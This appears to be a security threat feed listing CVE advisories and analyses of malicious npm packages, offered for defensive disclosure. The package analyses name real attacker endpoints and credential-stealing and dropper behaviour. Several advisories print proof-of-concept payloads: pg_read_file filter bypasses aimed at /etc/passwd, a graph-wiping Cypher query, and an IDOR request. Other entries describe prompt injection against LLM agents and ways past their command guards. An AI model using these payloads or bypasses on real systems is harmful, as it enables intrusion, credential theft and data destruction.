Search: local-test.com
187 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | – | HighSecurityWeek Multiple cybersecurity companies including Trend Micro, Tanium, ESET, and Tenable have patched critical and high-severity vulnerabilities in their products. These include a critical path traversal vulnerability in Tenable Agent that may allow remote code execution, a high-severity local privilege escalation in ESET Inspect Connector for Windows, a high-severity denial of service vulnerability in Tanium Server, and a high-severity local privilege escalation in Trend Micro Cleaner One Pro. No evidence of exploitation in the wild has been reported for these latest vulnerabilities. | SecurityWeek | |||
| Medium | 6.3 | EPSS 0.3% | CVE-2026-15757NETGEAR DGND3700v1 · Improper Input Validation Medium6.3EPSS 0.3%CVE Database V5CVE-2026-15757 A security flaw was discovered in the NETGEAR DGND3700v1 that could allow someone on the same local WiFi network to send unauthorized commands to the device. This issue was identified through testing in a controlled research environment using a simulated version of the router's software and has not been confirmed on physical production devices. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The npm package @sectest429/hello-npm-world version 1.0.3 contains malicious code in its preinstall lifecycle script. This script executes automatically during installation and performs unauthorized reconnaissance by collecting system information including OS username, hostname, platform/architecture, running processes, and cloud instance metadata. The collected data is written to a local file named exfil.log. Although the current version does not transmit data externally, the behavior is unrelated to the package's advertised functionality and indicates a trojanized package with code execution at install time. The package should be considered fully compromised and removed. | GCVE Database | |||
| High | 8.8 | High8.8GCVE Database ## Summary SafeInstall CLI through 0.10.1 can fail to recognize some package-manager and registry-runner commands in its agent guard. Case-variant launcher names, leading file-descriptor redirections, and supported shell wrappers with options can cause a raw install command to receive no guard decision. Remote project scaffolding through package-manager create/init commands can also avoid the approval decision used for other registry runners. ## Impact When the SafeInstall guard is installed for a coding agent, a crafted shell command can bypass the intended deny or ask response. The coding agent may then run a package installation or registry-provided scaffolding command without SafeInstall policy evaluation and without SafeInstall enforcing disabled lifecycle scripts. Exploitation requires a coding agent to act on attacker-influenced instructions and issue the crafted shell command. A successful malicious package or runner can execute with the permissions of the developer account, affecting the confidentiality, integrity, and availability of local source code, credentials, and development resources. The vulnerability is limited to guard interception. Commands already routed through the SafeInstall CLI continue to receive normal policy evaluation. ## Affected versions - safeinstall-cli <= 0.10.1 ## Patched version - safeinstall-cli 0.10.2 ## Fix Version 0.10.2: - normalizes package-manager and wrapper launcher names for detection and rewriting; - parses leading redirections before classifying the command; - handles supported wrapper option arity conservatively and fails closed on ambiguous embedded command syntax; - routes remote create/init scaffolding through the registry-runner approval path; - preserves SafeInstall routing for path-qualified package-manager invocations. The patch includes a permanent regression corpus, table-driven parser characterization, an independent reference detector, and deterministic fuzz invariants. The integrated release candidate passed 626 tests, package smoke validation, and a one-million-command fuzz campaign with zero invariant violations. ## Mitigation Upgrade to safeinstall-cli 0.10.2 or later. Until an upgrade is possible, manually review every coding-agent shell command and prevent the agent from invoking package managers or registry runners directly. Running an affected guard does not make raw package-manager execution safe. ## Credits Discovered, reproduced, and remediated by the SafeInstall maintainer during adversarial parser testing. | GCVE Database | |||
| Medium | 5.3 | EPSS 0.5% | CVE-2026-55605arikusi deepseek-mcp-server · Missing Authentication Medium5.3EPSS 0.5%CVE Database V5CVE-2026-55605 DeepSeek MCP Server is an MCP server for DeepSeek V4. Starting in version 1.4.2 and prior to version 1.8.0, the self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one. This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`). Version 1.8.0 contains a patch for this issue. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The npm package `antsrcsrctest` masquerades as a "simple date formatting utility" (`index.js` exports a harmless `formatDate()` function that is never referenced by the malicious code) but is a credential-harvesting and cloud-metadata-stealing reconnaissance tool. It declares a `preinstall: node preinstall.js` hook, so the payload executes automatically on `npm install`, before the package is ever imported or used. `preinstall.js` collects `os.hostname()`, `os.platform()`, `process.cwd()`, and the victim's entire `process.env` (all environment variables, frequently containing API keys, tokens and secrets); fingerprints container context by checking for `/.dockerenv` and reading `/proc/1/cgroup` and `/proc/self/mountinfo`; runs local reconnaissance commands via `child_process.execSync` (`id`, `whoami`, `hostname`, `ps aux`); and performs SSRF against the Alibaba Cloud (Aliyun) instance metadata service at `http://100.100.100.200/latest/meta-data/`, specifically probing `/latest/meta-data/ram/security-credentials/` in an attempt to steal cloud IAM role credentials. All of the above (including the full environment variable dump) is exfiltrated via two plaintext HTTP POST requests (to `/` and `/env`) to a hardcoded C2 endpoint `http://101.35.44.248` (raw IP, port 80, no TLS) using Node's built-in `http` module. All errors are silently swallowed so the attack is invisible to the installer. The package was published by npm user `xingzhigege` (`xingzhi@foxmail.com`). Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (80da6b239fe02ae1bbf7086d885062181d9ea048490ad77911a63ae4c393cc42) On `npm install`, the declared preinstall script (preinstall.js) POSTs the installer's full `process.env`, `os.hostname()`, `os.platform()`, cwd, container-detection artifacts (`/.dockerenv`, `/proc/1/cgroup`, `/proc/self/mountinfo`), and the output of shell reconnaissance commands (`id`, `whoami`, `hostname`, `ps aux`) to `http://101.35.44.248` over plain HTTP. The script additionally issues `curl` requests to the Alibaba Cloud instance metadata service at `100.100.100.200`, including the `latest/meta-data/ram/security-credentials/` path that returns temporary IAM credentials for the instance role, and forwards the response to the same attacker endpoint. The package advertises itself as "a simple date formatting utility" and index.js contains only a 7-line date formatter, confirming a decoy cover story for install-time credential theft and environment exfiltration. ## Source: ossf-package-analysis (f7c7439acf2736b50448bcb0f682babcb4ad09d0f316acb5ec5442130f3ee3f2) The OpenSSF Package Analysis project identified 'antsrcsrctest' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package `testudo-pack` is byte-for-byte identical (verified via diff) to `testis-pack` from the same npm publisher `ioa2102` (`anamora.les.24948@gmail.com`), differing only in its install hook: `postinstall: node index.js` instead of `preinstall`. It presents itself as a small binary packing/checksum utility (`pack`/`unpack`/`checksum`/`inspect`) but embeds an obfuscated dropper. The strings for the C2 host, path and dropped-binary name are not present in plaintext — they are reconstructed at runtime via `String.fromCharCode()` calls over hardcoded integer arrays, decoding to the host `sloth-antagonist.vercel.app`, path `/service/assets/fetchBinary` (Windows) or `/service/assets/fetchLinuxBinary` (Linux), and destination filenames `WinService.exe` (Windows) / `WinMetrics` (Linux) written into `%LOCALAPPDATA%\Programs\WinMetrics` or `$HOME/.local/share/WinMetrics` respectively — names chosen to masquerade as a legitimate Windows telemetry/service binary. When triggered, the code downloads the file from `https://sloth-antagonist.vercel.app/service/assets/fetch(Linux)Binary`, `chmod`s it executable on Linux, then spawns it detached and unref'd (`stdio: 'ignore'`, `windowsHide: true` on Windows) so it runs silently in the background, disconnected from the parent process. The routine is skipped on macOS. Note on the trigger: the fetch-and-execute routine (`_fetch()`) is not invoked at the top level of `index.js` — there is no unconditional call anywhere in the module. It is instead called as the first statement inside the exported `pack()` function, so the bare `node index.js` invocation performed by the `postinstall` hook only defines and exports the functions without itself triggering the download. The dropper fires as a side effect the first time any downstream code calls the package's own `pack()` API — which is the package's entire ostensible purpose, making activation highly likely for any real consumer while still evading naive "executes immediately on install" detections. Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3acd6c2813f34615e913c745f4bfe83a18ca057ec5a109cc30cdd51320eade1a) package.json declares a postinstall hook that runs index.js. On install, index.js decodes String.fromCharCode arrays to reconstruct the host sloth-antagonist.vercel.app and path /service/assets/fetchBinary (Windows) or /service/assets/fetchLinuxBinary (Linux), downloads an unpinned, unhashed binary to %LOCALAPPDATA%/Programs/WinMetrics/WinService.exe on Windows or ~/.local/share/WinMetrics/WinMetrics on Linux, chmod 755s it on Linux, and spawns it detached with stdio ignored and windowsHide on Windows, then unref()s the child so it survives npm install exit. macOS is skipped. The hostname, URL path, and output filename are hidden via char-code arrays to defeat trivial string scanning. The library's advertised pack() API also invokes the same fetch-and-execute routine, providing a second trigger at runtime. The host is not a publisher-owned or vendor domain, the binary is unversioned and unverified, and the obfuscation shows intent to conceal the destination. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package `testis-pack` presents itself as a small binary packing/checksum utility (`pack`/`unpack`/`checksum`/`inspect`) but embeds an obfuscated dropper. It declares a `preinstall: node index.js` hook. The strings for the C2 host, path and dropped-binary name are not present in plaintext — they are reconstructed at runtime via `String.fromCharCode()` calls over hardcoded integer arrays, decoding to the host `sloth-antagonist.vercel.app`, path `/service/assets/fetchBinary` (Windows) or `/service/assets/fetchLinuxBinary` (Linux), and destination filenames `WinService.exe` (Windows) / `WinMetrics` (Linux) written into `%LOCALAPPDATA%\Programs\WinMetrics` or `$HOME/.local/share/WinMetrics` respectively — names chosen to masquerade as a legitimate Windows telemetry/service binary. When triggered, the code downloads the file from `https://sloth-antagonist.vercel.app/service/assets/fetch(Linux)Binary`, `chmod`s it executable on Linux, then spawns it detached and unref'd (`stdio: 'ignore'`, `windowsHide: true` on Windows) so it runs silently in the background, disconnected from the parent process. The routine is skipped on macOS. Note on the trigger: unlike many install-hook droppers, the fetch-and-execute routine (`_fetch()`) is not invoked at the top level of `index.js` — there is no unconditional call anywhere in the module. It is instead called as the first statement inside the exported `pack()` function, so the bare `node index.js` invocation performed by the `preinstall` hook only defines and exports the functions without itself triggering the download. The dropper fires as a side effect the first time any downstream code calls the package's own `pack()` API — which is the package's entire ostensible purpose, making activation highly likely for any real consumer while still evading naive "executes immediately on install" detections. The package was published by npm user `ioa2102` (`anamora.les.24948@gmail.com`), which also published the near-identical `testudo-pack` (same payload, `postinstall` hook instead of `preinstall`). Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (96f8bc8284635b679a5ca943750a4d3386f73539e05352fd4cd6b0da5d01496f) package.json declares a preinstall hook (`node index.js`) that runs automatically on `npm install`. index.js assembles the destination host, URL path, and dropped filename from `String.fromCharCode` numeric arrays to hide them from string scanners; the reconstructed values are the host `sloth-antagonist.vercel.app` and paths `/service/assets/fetchBinary` (Windows) and `/service/assets/fetchLinuxBinary` (Linux). The script downloads the unpinned, unverified binary via `https.get(...).pipe(createWriteStream(dest))`, writing it to `%LOCALAPPDATA%\Programs\WinMetrics\WinService.exe` on Windows or `~/.local/share/WinMetrics/WinMetrics` on Linux — cover names that impersonate a Windows system component. The file is then `chmod 0755`ed and launched via `spawn(dest, [], { detached: true, stdio: 'ignore', windowsHide: true }).unref()`, so it survives the install process and runs silently in the background under the installing user's privileges. The exported `pack()` API triggers the same fetch-and-execute path on any call, so `require('testis-pack')` also delivers the payload. The dropped bytes are attacker-controlled and mutable at the host, giving the publisher open-ended remote code execution on every installer's machine. | GCVE Database | |||
| Critical | 9.1 | EPSS 1.5% | CVE-2026-41042Apache Gravitino · Improper Input Validation Critical9.1EPSS 1.5%CVE Database V5CVE-2026-41042 Unauthenticated callers can supply a malicious H2 JDBC URL through the testConnection API, which executes arbitrary Java code on the server via H2's INIT parameter. Vulnerability in Apache Gravitino. This issue affects Apache Gravitino: before 1.2.1. Users are recommended to upgrade to version 1.2.1, which fixes the issue. This issue only happens when using H2, and H2 is mainly used for testing and local development. Also, Gravitino is typically deployed in the internal environment, so the severity is low. | CVE Database V5 | ||
| Critical | 9.2 | EPSS 0.5% | Critical9.2EPSS 0.5%GCVE DatabaseCVE-2026-55615 Neo4jChatAgent passes LLM-generated Cypher queries straight to the Neo4j driver with no validation, no statement-type allowlist, and no opt-out gate. The query text is influenceable by prompt injection (direct user input or indirect content the agent reads back via RAG), so an attacker who can influence the prompt can read or destroy all graph data and, when APOC or dbms.security procedures are enabled on the server, achieve OS-command and filesystem access. This is the same defect class and threat model as the SQLChatAgent prompt-to-SQL-to-RCE issue fixed in version 0.63.0 (CVE-2026-25879); that fix did not extend to the neo4j module. ## Technical detail Untrusted-input to sink trace (reviewed on langroid HEAD b9df06f, v0.65.3): 1. Tool schemas accept raw query text from the LLM. `langroid/agent/special/neo4j/tools.py:4-9` (CypherRetrievalTool.cypher_query: str) and `:15-21` (CypherCreationTool.cypher_query: str). These tools are enabled unconditionally in `neo4j_chat_agent.py:412-419` (enable_message([GraphSchemaTool, CypherRetrievalTool, CypherCreationTool, DoneTool])). 2. Read path. `neo4j_chat_agent.py:300` cypher_retrieval_tool(msg) -> `:325` query = msg.cypher_query -> `:328` self.read_query(query) -> `:223` session.run(query, parameters). The LLM-controlled string is the first positional argument to session.run; parameters is None. No validation occurs between :325 and :223. 3. Write path. `neo4j_chat_agent.py:338` cypher_creation_tool(msg) -> `:348` query = msg.cypher_query -> `:351` self.write_query(query) -> `:276` session.write_transaction(lambda tx: tx.run(query, parameters)). The only inspection of the string (write_query :251-264) is a query.upper() substring test for CREATE/MERGE/CONSTRAINT/INDEX whose sole effect is setting self.config.database_created = True; it blocks nothing. A query such as `MATCH (n) DETACH DELETE n` (the same statement the built-in remove_database helper runs at :287-293) passes unrestricted. 4. Guarded-sibling contrast proving the incomplete fix. The SQLChatAgent, patched for the parent CVE, validates every query before execution. `langroid/agent/special/sql/sql_chat_agent.py:256` defines allow_dangerous_operations: bool = False (opt-in gate); `:618` _validate_query runs (a) a dangerous-pattern regex blocklist (_DANGEROUS_SQL_PATTERNS, :628-641), (b) a sqlglot statement-type allowlist defaulting to SELECT-only (:643-686), and (c) an AST-level dangerous-function blocklist (:687-704). run_query calls rejection = self._validate_query(query) at `:721` before executing. The neo4j read_query/write_query paths have no equivalent: a grep for _validate_query/allow_dangerous in neo4j_chat_agent.py returns nothing. The defense exists for SQL and is simply absent for Cypher, which is the definition of an incomplete fix for the same prompt-to-query-language injection class. ## Proof of concept (static, no third-party systems, no live Neo4j required) Step 1 (presence vs absence of the guard, one command): ``` grep -n "_validate_query\|allow_dangerous" langroid/agent/special/sql/sql_chat_agent.py # SQL: many hits (gate + validator + call site :721) grep -n "_validate_query\|allow_dangerous" langroid/agent/special/neo4j/neo4j_chat_agent.py # neo4j: ZERO hits ``` Step 2 (sink trace is direct, no interposed check): ``` read_query: msg.cypher_query (line 325) -> read_query(query) (328) -> session.run(query, parameters) (223) write_query: msg.cypher_query (348) -> write_query(query) (351) -> tx.run(query, parameters) (276) ``` The only string inspection (write_query 251-264) is a .upper() substring test that only sets database_created=True and rejects nothing. The asymmetry (validator + opt-out gate enforced on every SQL query at sql_chat_agent.py:721; nothing on either Cypher path) is the deterministic artifact: the same project, for the same injection class, guards one query language and not the other. A dynamic confirmation against an operator-owned disposable Neo4j (create a CSPRNG-marked node via cypher_creation_tool, read it back via cypher_retrieval_tool, then DETACH DELETE it) reproduces the read/write/destroy primitive without any third-party system. ## Impact An attacker who can influence the agent prompt (directly, or indirectly via content the agent reads back through RAG) controls the executed Cypher. Floor (no extra config, not contingent): unauthorized read of all graph data via cypher_retrieval_tool and full write/destroy (including MATCH (n) DETACH DELETE n) via cypher_creation_tool, plus the built-in LOAD CSV remote-fetch (SSRF) primitive. Ceiling (config-conditional, when APOC / dbms.security procedures are granted to the DB role, a common deployment): apoc.load.* (SSRF + remote/local file read), apoc.cypher.runFile / apoc.import.* / apoc.export.* (filesystem), and CALL dbms.* admin procedures, i.e. the Cypher analogue of the parent's COPY ... FROM PROGRAM RCE primitive. This mirrors the privileged-role contingency the parent advisory (CVE-2026-25879) accep | GCVE Database | ||
| Critical | 9.3 | EPSS 0.6% | CVE-2026-54760Langroid · SQLChatAgent dangerous-function blocklist can be bypassed with quoted or schema-qualified pg_read_file calls Critical9.3EPSS 0.6%GCVE DatabaseCVE-2026-54760 # SQLChatAgent `_validate_query` dangerous-pattern regex is bypassable via quoted/commented/qualified function names ## Summary The `SQLChatAgent` SQL-injection mitigation, with default `allow_dangerous_operations=False`, combines a raw-text regex blocklist (`_DANGEROUS_SQL_PATTERNS`) with a `sqlglot` SELECT-only statement allowlist. The blocklist entries that target callable functions require the function name to be immediately followed by `\s*\(`. PostgreSQL accepts the same call with the name separated from `(` by a quoted identifier, an inline comment, or schema qualification. These forms evade the regex, still parse as `SELECT`, and execute the same PostgreSQL function. This restores the `pg_read_file` server-side file-read primitive that the prior CVE-2026-25879 / GHSA-pmch-g965-grmr fix was meant to block: the parent advisory fixed a missing `pg_read_file` blocklist entry, while this report shows that the added regex is bypassable. ## Affected Code Tested against current `main` commit: `6e8e7b2bb23ec04c1c25be479f16b8cc9a4f8796` The current source still contains: ```python re.compile(r"\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\s*\(", re.IGNORECASE) ``` `_validate_query` checks the raw query against `_DANGEROUS_SQL_PATTERNS`, then parses with `sqlglot` and allows `SELECT` statements. The dangerous-call check is raw text, not normalized AST function-name matching. ## Root Cause The current mitigation treats dangerous PostgreSQL function calls as a raw-text regex problem. The regex requires the `pg_...` function token to be followed directly by optional whitespace and `(`, but PostgreSQL accepts equivalent calls through quoted identifiers, comments, and schema-qualified names. Because `_validate_query` only uses `sqlglot` to enforce the top-level statement type, those normalized function names are never checked after parsing. ## Auth Boundary The boundary is the default `SQLChatAgent` safety policy between attacker-influenced SQL generation and database operations that can read server-side files. With `allow_dangerous_operations=False`, a user or prompt that influences generated SQL should not be able to bypass the guard and execute PostgreSQL file-read functions such as `pg_read_file`. This is not a new unauthenticated endpoint or product-wide SQL injection; it applies when untrusted user content can influence SQLChatAgent's generated SQL. ## Reproduction The local harness uses the current `sql_chat_agent.py`, extracts the real shipped dangerous regex list, validates the queries with real `sqlglot==30.8.0`, then executes the accepted bypasses against a local throwaway PostgreSQL 16 container. Transcript excerpt: ```text CONTROL "SELECT pg_read_file('/etc/passwd')" -> REJECTED: matches '\\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\\s*\\(' BYPASS 'SELECT "pg_read_file"(\'/etc/passwd\')' -> ALLOWED (validator returned None -> would execute) BYPASS "SELECT pg_read_file/**/('/etc/passwd')" -> ALLOWED (validator returned None -> would execute) BYPASS 'SELECT pg_catalog."pg_read_file"(\'/etc/passwd\')' -> ALLOWED (validator returned None -> would execute) === Part B: real PostgreSQL execution of the bypass === connected; is_superuser=t executed bypass 'SELECT "pg_read_file"(\'<file>\')' -> file contents returned: 'LANGROID_SAFE_MARKER_...' executed bypass "SELECT pg_read_file/**/('<file>')" -> file contents returned: 'LANGROID_SAFE_MARKER_...' executed bypass 'SELECT pg_catalog."pg_read_file"(\'<file>\')' -> file contents returned: 'LANGROID_SAFE_MARKER_...' RESULT: VULNERABLE ``` The control query is blocked by the current regex, while all three equivalent PostgreSQL forms are allowed by the validator and return the mounted proof file contents from a real PostgreSQL server. The `LANGROID_SAFE_MARKER_...` value is a harmless marker generated inside the throwaway local container for this proof. ## Impact On a deployment using `SQLChatAgent` against PostgreSQL with a role able to call `pg_read_file` (superuser, or a role granted `pg_read_server_files`), an attacker who can influence LLM-generated SQL can coerce the agent into emitting one of the obfuscated queries and read files accessible to the PostgreSQL server process through `pg_read_file`. This is the same impact and precondition shape as the published `pg_read_file` advisory, but it targets the bypassability of the current regex-based fix rather than the pre-fix absence of a `pg_read_file` block. Severity: High by parity with the published parent advisory; not Critical. CWE-184 leading to server-side file read. ## Suggested Fix Do not rely on raw-text regex matching for dangerous-call detection. After the existing `sqlglot` parse, walk the AST and reject any function invocation whose normalized, unquoted, schema-stripped, case-folded name is in a dangerous set such as `pg_read_file`, `pg_read_binary_file`, `pg_ls_dir`, `pg_stat_file`, `lo_import`, `lo_export`, `load_file`, or `load_extension`. Also | GCVE Database | ||
| –Not rated | – | Check Point Research For the latest discoveries in cyber research for the week of 6th July, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES River Bank & Trust, a US financial institution, has experienced a ransomware incident after an unauthorized actor accessed the network of parent company River Financial Corporation on June 16. The bank found ransomware on portions of its server environment and is assessing whether personal data was accessed or exfiltrated. Indra Group, a Spanish defense, aerospace, and technology contractor and NATO cyber coalition member, has confirmed a ransomware attack affecting one subsidiary. The Gentlemen ransomware gang threatened to leak allegedly stolen data, while Indra said the incident was contained and that service continuity was maintained. Check Point Threat Emulation and Harmony Endpoint provide protection against this threat Nidec, a Japanese electric motor and industrial manufacturer, has disclosed a ransomware attack affecting the network of its Taiwanese subsidiary, Nidec Chaun Choung Technology. BlackField group claimed responsibility and alleged theft of more than two terabytes of corporate data, including employee, financial, procurement, manufacturing, legal, and IT records. US insurance firm Aflac has disclosed a data breach affecting its Japan operations after attackers accessed its policyholder portal between June 15 and June 25. Personal and financial data of nearly 4.4 million customers was exposed, including policyholder information and premium payment account details. AI THREATS Check Point Research has demonstrated a browser-native ransomware technique generated by a large language model that abuses Chrome’s File System Access API. A fake image-enhancement page convinces users to grant folder access, then reads, exfiltrates, and encrypts photos inside the browser on Android and Windows. Researchers examined shell command injection weaknesses in open-source AI coding agents, finding that 10 out of 11 popular tools failed to block obfuscated destructive commands. Simple rewrites bypassed filters and enabled destructive actions, including file deletion, while only the Continue agent properly parsed commands. Researchers warned that attackers are exploiting LLM phantom squatting by registering AI-generated domains to hijack traffic and deliver phishing. They recorded 250,000 hallucinated domains and subsequent registrations, including an AI-built phishing kit, Montana Empire, using a postal-service domain for credential theft. VULNERABILITIES AND PATCHES Oracle E-Business Suite is affected by CVE-2026-46817, a critical remote code execution flaw reportedly exploited against about 950 internet-exposed instances worldwide. Successful exploitation can give attackers control over ERP systems. Check Point IPS provides protection against this threat (Oracle E-Business Suite Authentication Bypass (CVE-2026-46817)) Linux kernel maintainers patched CVE-2026-46242, a Bad Epoll privilege escalation flaw affecting Linux servers, desktops, and Android devices. The race-condition use-after-free vulnerability allows an unprivileged local user to gain root access, and a public exploit demonstrated reliable exploitation against vulnerable systems. Citrix has addressed CVE-2026-8451, a NetScaler ADC and NetScaler Gateway memory disclosure flaw affecting SAML Identity Provider configurations. Active exploitation was observed less than 24 hours after disclosure, with attacks able to leak session tokens from vulnerable appliances. Check Point IPS provides protection against this threat (Citrix NetScaler Out Of Bounds Read (CVE-2026-8451)) Progress has addressed CVE-2026-8037, a critical OS command injection flaw in Kemp LoadMaster load balancers with a CVSS score of 9.6. Exploitation attempts began on June 29 and could allow unauthenticated remote code execution against vulnerable systems. Check Point IPS provides protection against this threat (Progress Kemp LoadMaster Commad Injection (CVE-… | Check Point Research | |||
| Medium | 4.3 | Medium4.3GCVE Database ## Summary An authenticated customer can read other customers' allowed sender aliases from Froxlor's sender-delete confirmation page when `mail.enable_allow_sender` is enabled. `customer_email.php` loads `allowed_sender` by global auto-increment `senderid` alone, so a customer can enumerate foreign sender alias IDs and make Froxlor disclose those values in the confirmation dialog for the attacker's own mailbox. ## Details The vulnerable read lives in `customer_email.php`: ```php $senderid = Request::any('senderid', 0); ... $sel_stmt = Database::prepare("SELECT `allowed_sender` FROM `" . TABLE_MAIL_SENDER_ALIAS . "` WHERE `id` = :sid"); $sender_data = Database::pexecute_first($sel_stmt, ['sid' => $senderid]); HTML::askYesNo('email_reallydelete_sender', $filename, [ 'id' => $id, 'senderid' => $senderid, 'page' => $page, 'domainid' => $email_domainid, 'action' => $action ], $idna_convert->decode($result['email_full']) . ' -> ' . $sender_data['allowed_sender']); ``` The query does not scope `senderid` to the current customer or to the mailbox being edited. `mail_sender_aliases.id` is a global `AUTO_INCREMENT` primary key: ```sql CREATE TABLE `mail_sender_aliases` ( `id` int(11) NOT NULL auto_increment, `email` varchar(255) NOT NULL, `allowed_sender` varchar(255) NOT NULL, PRIMARY KEY (`id`) ) ``` That makes sender alias IDs enumerable. A customer who owns any mailbox with sender-alias management enabled can request the delete-confirmation page for their own mailbox while supplying foreign `senderid` values. Froxlor then renders the foreign `allowed_sender` string in the confirmation prompt. ## Proof of Concept Verified against Froxlor `2.3.6` on a fresh test install with `mail.enable_allow_sender=1`. 1. Create two customers, `victim` and `attacker`. 2. Give each customer one mailbox. 3. Add a sender alias for the victim mailbox: ```text info@victim.local -> leaked-sender@example.org ``` 4. Log in as the attacker and request the delete-confirmation page for the attacker's own mailbox while supplying the victim's sender alias ID: ```text /customer_email.php?page=senders&domainid=4&action=delete&id=2&senderid=1 ``` Observed in the live test instance: ```text Do you really want to delete the allowed sender info@attacker.local -> leaked-sender@example.org? ``` The attacker-controlled mailbox identifier stayed `info@attacker.local`, but the disclosed sender alias text came from the victim-owned row identified by `senderid=1`. ## Impact An authenticated customer can enumerate global sender alias IDs and read other customers' allowed sender values. This is a cross-tenant information disclosure. It does not let the attacker delete the foreign alias because the delete action revalidates ownership. ## Recommended Fix Scope the sender alias lookup to the current customer and mailbox before rendering the confirmation page. The confirmation flow should fetch the sender alias through the same ownership checks used by `EmailSender::delete()`. --- *Found by [aisafe.io](https://aisafe.io)* | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e5bbed232e0268a791ce846260ce170342eec359bf1a7e84b9514767d77803a1) The package's index.js defines run()/from_str() that recursively walk process.cwd() and match files named.env, env, id.json, config.json, config.toml, Config.toml, and.jsonc, then POST their contents to https://polymarket-clob-service.vercel.app/api/v1 (via axios) with a `{username}@{localIp}` tag prefix and the filename in a header. All operational strings — the destination URL, target filename patterns, header names, and an 8.8.8.8:80 probe used to discover the local IP — are stored as base64 blobs and decoded at runtime through decodeStr(Buffer.from(x,'base64').toString('utf8')) to hide intent. The shipped test.js invokes run(process.env.BACKUP_USERNAME_TAG || 'piterpan') at load, immediately triggering exfiltration in any environment that executes it. The package name mimics the @typescript-eslint tooling ecosystem while shipping empty description/author/keywords and no legitimate functionality matching that name — a lure targeting developers who install what they believe is an ESLint helper. Installing or loading this package causes recursive harvesting and upload of local secrets (.env credentials, API tokens, wallet/config files) to an attacker-controlled endpoint. ## Source: ghsa-malware (d6b82e2790a954188bd1b3babdcd4bb340ee305f3d5e4acd8216774b2a9b7d40) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (fa992a8f9afcf95d3c0e35b6abc290ff565b450663f6d43511467cd370eefce8) ts-einkle@1.1.3 ships a comprehensive installer-side stealer in its main module `peer-math.js`. On require, `syncSession()` runs a chain (`packProjectBundle`, `packWalletsAndCreds`, `packDeepScan`) that: (1) reads classic credential paths including `~/.ssh`, `~/.aws`, `~/.gnupg`, `~/.npmrc`, `~/.pypirc`, `~/.docker/config.json`, `~/.git-credentials`, and `~/.config/gh/hosts.yml`; (2) on Windows invokes PowerShell `ProtectedData::Unprotect` (DPAPI) against Chromium `Local State` `os_crypt.encrypted_key` to derive the master key and decrypt the `Login Data` SQLite to plaintext passwords; (3) copies Firefox `key4.db`/`logins.json`, Bitwarden `data.json`, KeePass `.kdbx`, and 1Password SQLite vaults; (4) packs browser wallet extension stores for MetaMask, Phantom, Solflare, OKX, Coinbase, TrustWallet, Backpack, and TronLink; (5) packs Telegram Desktop `tdata`; (6) enumerates home and drives for wallet/seed/mnemonic/key keyword matches; (7) collects browser cookies, clipboard, shell history, and scrapes source trees. Captured data is POSTed to `https://datasecure-service.vercel.app/api/v1` (overridable via `PSM_API_URL`). `package.json` declares `"postinstall": "node test.js"`, so installation is intended to auto-trigger the chain. Cover-story labels (functions renamed `from_str_1..17`, sentinel files named `data-backup-upload-*.sent`) and a themed name with keywords `polymarket`, `kelly`, `stake` impersonate benign tooling; the README itself refers to the upload endpoint as a "C2 URL". ## Source: ghsa-malware (6dc191a91bfcc0bd37051e540aa2ba32ffe82b577fba8a0e21a4e1d006a16cb6) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Medium | 4.4 | EPSS 0.2% | CVE-2026-54325earendil-works pi · Untrusted Functionality Inclusion Medium4.4EPSS 0.2%CVE Database V5CVE-2026-54325 # Pi loads project-local extensions without approval Pi before 0.79.0 loaded project-local configuration and resources from a repository's `.pi` directory without first asking the user to trust that repository. This included project-local extensions, which are executable TypeScript or JavaScript modules loaded into the Pi process. An attacker who controls a repository could place Pi-specific project resources in that repository. If a user then started Pi from that working tree, the project-local extension code could run with the same privileges as the local Pi process without the user having a convenient way to make a trust decision. ## Info The affected component is Pi's project resource loading path. Before 0.79.0, startup loaded project `.pi/settings.json`, auto-discovered `.pi` resources, project package-managed resources, and project instruction files as part of normal session initialization. Project-local extensions were included in the same extension set as user/global extensions and were initialized before there was a project trust boundary. Extensions like pi itself are not sandboxed. They run in the Pi process and can register commands, tools, and event handlers. The vulnerable behavior was not a privilege escalation across an operating-system boundary, but it allowed repository-controlled Pi extension code to execute implicitly when a user ran Pi in that repository. ## Impact Exploitation requires user interaction: the 